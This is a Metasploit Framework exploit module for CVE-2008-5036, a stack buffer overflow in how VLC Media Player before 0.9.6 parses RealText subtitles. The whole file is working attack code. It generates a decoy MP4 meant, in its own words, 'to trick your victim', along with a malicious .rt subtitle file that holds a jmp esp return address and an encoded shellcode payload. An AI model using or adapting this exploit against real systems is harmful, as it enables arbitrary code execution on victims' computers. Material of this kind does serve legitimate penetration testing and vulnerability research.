VLC Media Player RealText Subtitle Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VLC Media Player RealText Subtitle Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow vulnerability in  
VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of  
RealText subtitle files.  
  
In order to exploit this, this module will generate two files:  
The .mp4 file is used to trick your victim into running. The .rt file  
is the actual malicious file that triggers the vulnerability, which  
should be placed under the same directory as the .mp4 file.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tobias Klein', # Vulnerability Discovery  
'SkD', # Exploit  
'juan vazquez' # Metasploit Module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'OSVDB', '49809' ],  
[ 'CVE', '2008-5036' ],  
[ 'BID', '32125' ],  
[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],  
[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]  
],  
'Payload' =>  
{  
'Space' => 1900,  
'DisableNops' => true,  
'BadChars' => "\x00\x22\x0a",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll  
'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 05 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']),  
], self.class)  
end  
  
def generate_mp4  
mp4 = ''  
# ftyp  
mp4 << "\x00\x00\x00\x14" #Size  
mp4 << "ftyp" #Type  
mp4 << "isom" #Major brand  
mp4 << "\x00\x00" #version  
mp4 << "\x00\x00"  
mp4 << "mp41" #Compatible brands  
# moov  
mp4 << "\x00\x00\x00\x9f" #Size  
mp4 << "moov" #Type  
mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"  
mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"  
mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"  
mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"  
mp4 << "udta"  
mp4 << "\x00\x00\x00\x23"  
mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"  
mp4 << "vlc 0.9.4 stream output"  
# wide  
mp4 << "\x00\x00\x00\x08"  
mp4 << "wide"  
# mdat  
mp4 << "\x00\x00\x00\x08"  
mp4 << "mdat"  
  
return mp4  
end  
  
def generate_rt  
my_payload = ""  
my_payload << Rex::Text.rand_text(72, payload_badchars)  
my_payload << [target.ret].pack("V") # EIP => jmp esp  
my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"  
my_payload << Rex::Text.rand_text(2, payload_badchars)  
my_payload << [target['WritableAddress']].pack("V") # Writable address  
my_payload << payload.encoded  
  
rt_file = <<-eos  
<window height="250" width="300" duration="15" bgcolor="yellow">  
Mary had a little lamb,  
<br/><time begin="#{my_payload}"/>  
<br/><time begin="6"/>little lamb,  
<br/><time begin="9"/>Mary had a little lamb  
<br/><time begin="12"/>whose fleece was white as snow.  
</window>  
eos  
  
return rt_file  
end  
  
def exploit  
  
mp4 = generate_mp4  
rt = generate_rt  
  
print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")  
file_create(rt)  
  
original_fname = datastore['FILENAME']  
datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"  
print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")  
file_create(mp4)  
  
datastore['FILENAME'] = original_fname  
  
end  
end  
`